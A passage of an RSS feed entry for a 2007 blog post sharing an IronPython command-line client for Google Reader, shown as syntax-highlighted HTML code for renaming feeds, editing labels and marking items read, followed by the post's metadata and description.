            <font color="#000000">feedid</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">=</font>
            <font color="#000000">MakeHttpPostRequest</font>
            <font color="#0000c0">(</font>
            <font color="#000000">api_url</font>
            <font color="#0000c0">,</font>
            <font color="#000000">params</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">.</font>
            <font color="#000000">StatusCode</font>
            <font color="#0000c0">==</font>
            <font color="#000000">HttpStatusCode</font>
            <font color="#0000c0">.</font>
            <font color="#000000">OK</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#004080">"'%s'
successfully renamed to '%s'"</font>
            <font color="#0000c0">%</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">.</font>
            <font color="#000000">title</font>
            <font color="#0000c0">,</font>
            <font color="#000000">new_title</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">return</font>
            <font color="#000000">True</font>
            <font color="#c00000">else</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">.</font>
            <font color="#000000">StatusDescription</font>
            <font color="#c00000">return</font>
            <font color="#000000">False</font>
            <font color="#c00000">def</font>
            <font color="#000000">EditLabel</font>
            <font color="#0000c0">(</font>
            <font color="#000000">label</font>
            <font color="#0000c0">,</font>
            <font color="#000000">editmode</font>
            <font color="#0000c0">,</font>
            <font color="#000000">userid</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">index</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Adds
or removes the specified label to the feed at the specified index depending on the
edit mode"""</font>
            <font color="#000000">full_label</font>
            <font color="#0000c0">=</font>
            <font color="#004080">"user/"</font>
            <font color="#0000c0">+</font>
            <font color="#000000">userid</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"/label/"</font>
            <font color="#0000c0">+</font>
            <font color="#000000">label</font>
            <font color="#000000">label_url</font>
            <font color="#0000c0">=</font>
            <font color="#000000">api_url_prefix</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"subscription/edit"</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">=</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">[</font>
            <font color="#000000">index</font>
            <font color="#0000c0">]</font>
            <font color="#000000">params</font>
            <font color="#0000c0">=</font>
            <font color="#004080">"ac=edit&amp;i=null&amp;T="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">GetToken</font>
            <font color="#0000c0">(</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"&amp;t="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">.</font>
            <font color="#000000">title</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"&amp;s="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feedid</font>
            <font color="#c00000">if</font>
            <font color="#000000">editmode</font>
            <font color="#0000c0">==</font>
            <font color="#000000">add_label</font>
            <font color="#0000c0">:</font>
            <font color="#000000">params</font>
            <font color="#0000c0">=</font>
            <font color="#000000">params</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"&amp;a="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">full_label</font>
            <font color="#c00000">elif</font>
            <font color="#000000">editmode</font>
            <font color="#0000c0">==</font>
            <font color="#000000">remove_label</font>
            <font color="#0000c0">:</font>
            <font color="#000000">params</font>
            <font color="#0000c0">=</font>
            <font color="#000000">params</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"&amp;r="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">full_label</font>
            <font color="#c00000">else</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">return</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">=</font>
            <font color="#000000">MakeHttpPostRequest</font>
            <font color="#0000c0">(</font>
            <font color="#000000">label_url</font>
            <font color="#0000c0">,</font>
            <font color="#000000">params</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">.</font>
            <font color="#000000">StatusCode</font>
            <font color="#0000c0">==</font>
            <font color="#000000">HttpStatusCode</font>
            <font color="#0000c0">.</font>
            <font color="#000000">OK</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#004080">"Successfully
edited label '%s' of feed '%s'"</font>
            <font color="#0000c0">%</font>
            <font color="#0000c0">(</font>
            <font color="#000000">label</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">.</font>
            <font color="#000000">title</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">return</font>
            <font color="#000000">True</font>
            <font color="#c00000">else</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">.</font>
            <font color="#000000">StatusDescription</font>
            <font color="#c00000">return</font>
            <font color="#000000">False</font>
            <font color="#c00000">def</font>
            <font color="#000000">MarkAllItemsAsRead</font>
            <font color="#0000c0">(</font>
            <font color="#000000">index</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Marks
all items from the selected feed as read"""</font>
            <font color="#000000">unixepoch</font>
            <font color="#0000c0">=</font>
            <font color="#000000">DateTime</font>
            <font color="#0000c0">(</font>
            <font color="#0080c0">1970</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#000000">DateTimeKind</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Utc</font>
            <font color="#0000c0">)</font>
            <font color="#000000">markread_url</font>
            <font color="#0000c0">=</font>
            <font color="#000000">api_url_prefix</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"mark-all-as-read"</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">=</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">[</font>
            <font color="#000000">index</font>
            <font color="#0000c0">]</font>
            <font color="#000000">params</font>
            <font color="#0000c0">=</font>
            <font color="#004080">"s="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feedid</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"&amp;T="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">GetToken</font>
            <font color="#0000c0">(</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"&amp;ts="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">str</font>
            <font color="#0000c0">(</font>
            <font color="#000000">int</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">(</font>
            <font color="#000000">DateTime</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Now</font>
            <font color="#0000c0">-</font>
            <font color="#000000">unixepoch</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">.</font>
            <font color="#000000">TotalSeconds</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">)</font>
            <font color="#000000">MakeHttpPostRequest</font>
            <font color="#0000c0">(</font>
            <font color="#000000">markread_url</font>
            <font color="#0000c0">,</font>
            <font color="#000000">params</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">print</font>
            <font color="#004080">"All
items in '%s' have been marked as read"</font>
            <font color="#0000c0">%</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">.</font>
            <font color="#000000">title</font>
            <font color="#c00000">def</font>
            <font color="#000000">GetFeedIndexFromUser</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""prompts
the user for the index of the feed they are interested in and returns the index as
the result of this function"""</font>
            <font color="#c00000">print</font>
            <font color="#004080">"Enter
the numeric position of the feed from 1 - %s"</font>
            <font color="#0000c0">%</font>
            <font color="#0000c0">(</font>
            <font color="#000000">len</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">)</font>
            <font color="#000000">index</font>
            <font color="#0000c0">=</font>
            <font color="#000000">int</font>
            <font color="#0000c0">(</font>
            <font color="#000000">sys</font>
            <font color="#0000c0">.</font>
            <font color="#000000">stdin</font>
            <font color="#0000c0">.</font>
            <font color="#000000">readline</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">.</font>
            <font color="#000000">strip</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#0000c0">(</font>
            <font color="#000000">index</font>
            <font color="#0000c0">&lt;</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">or</font>
            <font color="#0000c0">(</font>
            <font color="#000000">index</font>
            <font color="#0000c0">&gt;</font>
            <font color="#000000">len</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#004080">"Invalid
index specified: %s"</font>
            <font color="#0000c0">%</font>
            <font color="#000000">feed2label_indx</font>
            <font color="#c00000">return</font>
            <font color="#0000c0">-</font>
            <font color="#0080c0">1</font>
            <font color="#c00000">else</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">return</font>
            <font color="#000000">index</font>
            <font color="#c00000">if</font>
            <font color="#000000">__name__</font>
            <font color="#0000c0">==</font>
            <font color="#004080">"__main__"</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">if</font>
            <font color="#000000">len</font>
            <font color="#0000c0">(</font>
            <font color="#000000">sys</font>
            <font color="#0000c0">.</font>
            <font color="#000000">argv</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">&lt;</font>
            <font color="#0080c0">3</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#004080">"ERROR:
Please specify a Gmail username and password"</font>
            <font color="#c00000">else</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">if</font>
            <font color="#000000">len</font>
            <font color="#0000c0">(</font>
            <font color="#000000">sys</font>
            <font color="#0000c0">.</font>
            <font color="#000000">argv</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">&gt;</font>
            <font color="#0080c0">3</font>
            <font color="#0000c0">:</font>
            <font color="#000000">feed_cache_prefix</font>
            <font color="#0000c0">=</font>
            <font color="#000000">sys</font>
            <font color="#0000c0">.</font>
            <font color="#000000">argv</font>
            <font color="#0000c0">[</font>
            <font color="#0080c0">3</font>
            <font color="#0000c0">]</font>
            <font color="#000000">SID</font>
            <font color="#0000c0">=</font>
            <font color="#000000">AuthenticateUser</font>
            <font color="#0000c0">(</font>
            <font color="#000000">sys</font>
            <font color="#0000c0">.</font>
            <font color="#000000">argv</font>
            <font color="#0000c0">[</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">]</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sys</font>
            <font color="#0000c0">.</font>
            <font color="#000000">argv</font>
            <font color="#0000c0">[</font>
            <font color="#0080c0">2</font>
            <font color="#0000c0">]</font>
            <font color="#0000c0">)</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">=</font>
            <font color="#000000">SubscriptionList</font>
            <font color="#0000c0">(</font>
            <font color="#000000">True</font>
            <font color="#0000c0">,</font>
            <font color="#0000c0">[</font>
            <font color="#0000c0">]</font>
            <font color="#0000c0">)</font>
            <font color="#000000">GetSubscriptionList</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">SID</font>
            <font color="#0000c0">)</font>
            <font color="#000000">taglist</font>
            <font color="#0000c0">=</font>
            <font color="#000000">GetTagList</font>
            <font color="#0000c0">(</font>
            <font color="#000000">SID</font>
            <font color="#0000c0">)</font>
            <font color="#000000">options</font>
            <font color="#0000c0">=</font>
            <font color="#004080">"***Your
options are (f)etch your feeds, (l)ist your subscriptions, (s)ubscribe to a new feed,
(u)nsubscribe, (m)ark read , (r)ename, (a)dd a label to a feed, (d)elete a label from
a feed or (e)xit***"</font>
            <font color="#c00000">print</font>
            <font color="#004080">"\n"</font>
            <font color="#c00000">while</font>
            <font color="#000000">True</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#000000">options</font>
            <font color="#000000">cmd</font>
            <font color="#0000c0">=</font>
            <font color="#000000">sys</font>
            <font color="#0000c0">.</font>
            <font color="#000000">stdin</font>
            <font color="#0000c0">.</font>
            <font color="#000000">readline</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">cmd</font>
            <font color="#0000c0">==</font>
            <font color="#004080">"e\n"</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">break</font>
            <font color="#c00000">elif</font>
            <font color="#000000">cmd</font>
            <font color="#0000c0">==</font>
            <font color="#004080">"l\n"</font>
            <font color="#0000c0">:</font>
            <font color="#008000">#list
subscriptions</font>
            <font color="#000000">ShowSubscriptionList</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">SID</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">elif</font>
            <font color="#000000">cmd</font>
            <font color="#0000c0">==</font>
            <font color="#004080">"s\n"</font>
            <font color="#0000c0">:</font>
            <font color="#008000">#subscribe
to a new feed</font>
            <font color="#c00000">print</font>
            <font color="#004080">"Enter
url: "</font>
            <font color="#000000">new_feed_url</font>
            <font color="#0000c0">=</font>
            <font color="#000000">sys</font>
            <font color="#0000c0">.</font>
            <font color="#000000">stdin</font>
            <font color="#0000c0">.</font>
            <font color="#000000">readline</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">.</font>
            <font color="#000000">strip</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#000000">success</font>
            <font color="#0000c0">=</font>
            <font color="#000000">Subscribe</font>
            <font color="#0000c0">(</font>
            <font color="#000000">new_feed_url</font>
            <font color="#0000c0">,</font>
            <font color="#000000">SID</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">modified</font>
            <font color="#0000c0">==</font>
            <font color="#000000">False</font>
            <font color="#0000c0">:</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">modified</font>
            <font color="#0000c0">=</font>
            <font color="#000000">success</font>
            <font color="#c00000">elif</font>
            <font color="#000000">cmd</font>
            <font color="#0000c0">==</font>
            <font color="#004080">"u\n"</font>
            <font color="#0000c0">:</font>
            <font color="#008000">#unsubscribe
from a feed</font>
            <font color="#000000">feed2remove_indx</font>
            <font color="#0000c0">=</font>
            <font color="#000000">GetFeedIndexFromUser</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">feed2remove_indx</font>
            <font color="#0000c0">!=</font>
            <font color="#0000c0">-</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">:</font>
            <font color="#000000">success</font>
            <font color="#0000c0">=</font>
            <font color="#000000">Unsubscribe</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feed2remove_indx</font>
            <font color="#0000c0">-</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">SID</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">modified</font>
            <font color="#0000c0">==</font>
            <font color="#000000">False</font>
            <font color="#0000c0">:</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">modified</font>
            <font color="#0000c0">=</font>
            <font color="#000000">success</font>
            <font color="#c00000">elif</font>
            <font color="#000000">cmd</font>
            <font color="#0000c0">==</font>
            <font color="#004080">"r\n"</font>
            <font color="#0000c0">:</font>
            <font color="#008000">#rename
a feed</font>
            <font color="#000000">feed2rename_indx</font>
            <font color="#0000c0">=</font>
            <font color="#000000">GetFeedIndexFromUser</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">feed2rename_indx</font>
            <font color="#0000c0">!=</font>
            <font color="#0000c0">-</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#004080">"'%s'
selected"</font>
            <font color="#0000c0">%</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">[</font>
            <font color="#000000">feed2rename_indx</font>
            <font color="#0000c0">-</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">]</font>
            <font color="#0000c0">.</font>
            <font color="#000000">title</font>
            <font color="#c00000">print</font>
            <font color="#004080">"Enter
the new title for the subscription:"</font>
            <font color="#000000">success</font>
            <font color="#0000c0">=</font>
            <font color="#000000">Rename</font>
            <font color="#0000c0">(</font>
            <font color="#000000">sys</font>
            <font color="#0000c0">.</font>
            <font color="#000000">stdin</font>
            <font color="#0000c0">.</font>
            <font color="#000000">readline</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">.</font>
            <font color="#000000">strip</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feed2rename_indx</font>
            <font color="#0000c0">-</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">SID</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">modified</font>
            <font color="#0000c0">==</font>
            <font color="#000000">False</font>
            <font color="#0000c0">:</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">modified</font>
            <font color="#0000c0">=</font>
            <font color="#000000">success</font>
            <font color="#c00000">elif</font>
            <font color="#000000">cmd</font>
            <font color="#0000c0">==</font>
            <font color="#004080">"f\n"</font>
            <font color="#0000c0">:</font>
            <font color="#008000">#fetch
feeds</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">=</font>
            <font color="#000000">DownloadFeeds</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">SID</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">elif</font>
            <font color="#000000">cmd</font>
            <font color="#0000c0">==</font>
            <font color="#004080">"m\n"</font>
            <font color="#0000c0">:</font>
            <font color="#008000">#mark
all items as read</font>
            <font color="#000000">feed2markread_indx</font>
            <font color="#0000c0">=</font>
            <font color="#000000">GetFeedIndexFromUser</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">feed2markread_indx</font>
            <font color="#0000c0">!=</font>
            <font color="#0000c0">-</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">:</font>
            <font color="#000000">MarkAllItemsAsRead</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feed2markread_indx</font>
            <font color="#0000c0">-</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">SID</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">elif</font>
            <font color="#0000c0">(</font>
            <font color="#000000">cmd</font>
            <font color="#0000c0">==</font>
            <font color="#004080">"a\n"</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">or</font>
            <font color="#0000c0">(</font>
            <font color="#000000">cmd</font>
            <font color="#0000c0">==</font>
            <font color="#004080">"d\n"</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#008000">#add/remove
a label on a feed</font>
            <font color="#000000">editmode</font>
            <font color="#0000c0">=</font>
            <font color="#0000c0">(</font>
            <font color="#000000">cmd</font>
            <font color="#0000c0">==</font>
            <font color="#004080">"a\n"</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">and</font>
            <font color="#000000">add_label</font>
            <font color="#c00000">or</font>
            <font color="#000000">remove_label</font>
            <font color="#000000">feed2label_indx</font>
            <font color="#0000c0">=</font>
            <font color="#000000">GetFeedIndexFromUser</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">feed2label_indx</font>
            <font color="#0000c0">!=</font>
            <font color="#0000c0">-</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">:</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">=</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">[</font>
            <font color="#000000">feed2label_indx</font>
            <font color="#0000c0">-</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">]</font>
            <font color="#c00000">print</font>
            <font color="#004080">"'%s'
selected"</font>
            <font color="#0000c0">%</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">.</font>
            <font color="#000000">title</font>
            <font color="#c00000">print</font>
            <font color="#004080">"%s"</font>
            <font color="#0000c0">%</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">(</font>
            <font color="#000000">cmd</font>
            <font color="#0000c0">==</font>
            <font color="#004080">"a\n"</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">and</font>
            <font color="#004080">"Enter
the new label:"</font>
            <font color="#c00000">or</font>
            <font color="#004080">"Enter
the label to delete:"</font>
            <font color="#0000c0">)</font>
            <font color="#000000">label_name</font>
            <font color="#0000c0">=</font>
            <font color="#000000">sys</font>
            <font color="#0000c0">.</font>
            <font color="#000000">stdin</font>
            <font color="#0000c0">.</font>
            <font color="#000000">readline</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">.</font>
            <font color="#000000">strip</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#000000">success</font>
            <font color="#0000c0">=</font>
            <font color="#000000">EditLabel</font>
            <font color="#0000c0">(</font>
            <font color="#000000">label_name</font>
            <font color="#0000c0">,</font>
            <font color="#000000">editmode</font>
            <font color="#0000c0">,</font>
            <font color="#000000">taglist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">userid</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feed2label_indx</font>
            <font color="#0000c0">-</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">,</font>
            <font color="#000000">SID</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">modified</font>
            <font color="#0000c0">==</font>
            <font color="#000000">False</font>
            <font color="#0000c0">:</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">modified</font>
            <font color="#0000c0">=</font>
            <font color="#000000">success</font>
            <font color="#c00000">else</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#004080">"Unknown
command"</font>
            <font color="#000000">
            </font>
          </font>
        </pre>
        <p>
          <b>Now Playing</b>: <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=DJ Drama">DJ
Drama</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=DJ Drama&amp;songTerm=Cannon (Remix) (Feat. Lil Wayne, Willie The Kid, Freeway And T.I.)">Cannon
(Remix) (Feat. Lil Wayne, Willie The Kid, Freeway And T.I.)</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=d27ebdd5-ea53-4135-ba08-5a99d5c34290" />
      </body>
      <title>Command Line Client for Google Reader in IronPython</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,d27ebdd5-ea53-4135-ba08-5a99d5c34290.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/12/31/CommandLineClientForGoogleReaderInIronPython.aspx</link>
      <pubDate>Mon, 31 Dec 2007 07:07:50 GMT</pubDate>
      <description>&lt;p&gt;
A few days ago I blogged about &lt;a href="http://www.25hoursaday.com/weblog/2007/12/28/RSSBanditPhoenixThoughtsIntegratingGoogleReaderAndRSSBandit.aspx"&gt;my
plans to make RSS Bandit a desktop client for Google Reader&lt;/a&gt;. As part of that process
I needed to verify that it is possible to programmatically interact with Google Reader
from a desktop client in a way that provides a reasonable user experience. To this
end, I wrote a command line client in IronPython based on the &lt;a href="http://code.google.com/p/pyrfeed/wiki/GoogleReaderAPI"&gt;documentation
I found at the pyrfeed Website&lt;/a&gt;. 
&lt;/p&gt;
&lt;p&gt;
The command line client isn't terribly useful on its own as a way to read your feeds
but it might be useful for other developers who are trying to interact with Google
Reader programmatically who would learn better from&amp;#160; code samples than reverse
engineered API documentation. 
&lt;/p&gt;
&lt;p&gt;
Enjoy...
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;PS:&lt;/strong&gt; Note the complete lack of error handling. I never got a hang
of error handling in Python let alone going back and forth between handling errors
in Python vs. handling underlying .NET/CLR errors. 
&lt;/p&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;font face="Lucida,Courier New"&gt;&lt;font color="#c00000"&gt;import&lt;/font&gt; &lt;font color="#000000"&gt;sys&lt;/font&gt; &lt;font color="#c00000"&gt;from&lt;/font&gt; &lt;font color="#000000"&gt;System&lt;/font&gt; &lt;font color="#c00000"&gt;import&lt;/font&gt; &lt;font color="#0000c0"&gt;*&lt;/font&gt; &lt;font color="#c00000"&gt;from&lt;/font&gt; &lt;font color="#000000"&gt;System&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;IO&lt;/font&gt; &lt;font color="#c00000"&gt;import&lt;/font&gt; &lt;font color="#0000c0"&gt;*&lt;/font&gt; &lt;font color="#c00000"&gt;from&lt;/font&gt; &lt;font color="#000000"&gt;System&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Net&lt;/font&gt; &lt;font color="#c00000"&gt;import&lt;/font&gt; &lt;font color="#0000c0"&gt;*&lt;/font&gt; &lt;font color="#c00000"&gt;from&lt;/font&gt; &lt;font color="#000000"&gt;System&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Text&lt;/font&gt; &lt;font color="#c00000"&gt;import&lt;/font&gt; &lt;font color="#0000c0"&gt;*&lt;/font&gt; &lt;font color="#c00000"&gt;from&lt;/font&gt; &lt;font color="#000000"&gt;System&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Globalization&lt;/font&gt; &lt;font color="#c00000"&gt;import&lt;/font&gt; &lt;font color="#000000"&gt;DateTimeStyles&lt;/font&gt; &lt;font color="#c00000"&gt;import&lt;/font&gt; &lt;font color="#000000"&gt;clr&lt;/font&gt; &lt;font color="#000000"&gt;clr&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;AddReference&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;System.Xml&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;from&lt;/font&gt; &lt;font color="#000000"&gt;System&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Xml&lt;/font&gt; &lt;font color="#c00000"&gt;import&lt;/font&gt; &lt;font color="#0000c0"&gt;*&lt;/font&gt; &lt;font color="#000000"&gt;clr&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;AddReference&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;System.Web&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;from&lt;/font&gt; &lt;font color="#000000"&gt;System&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font 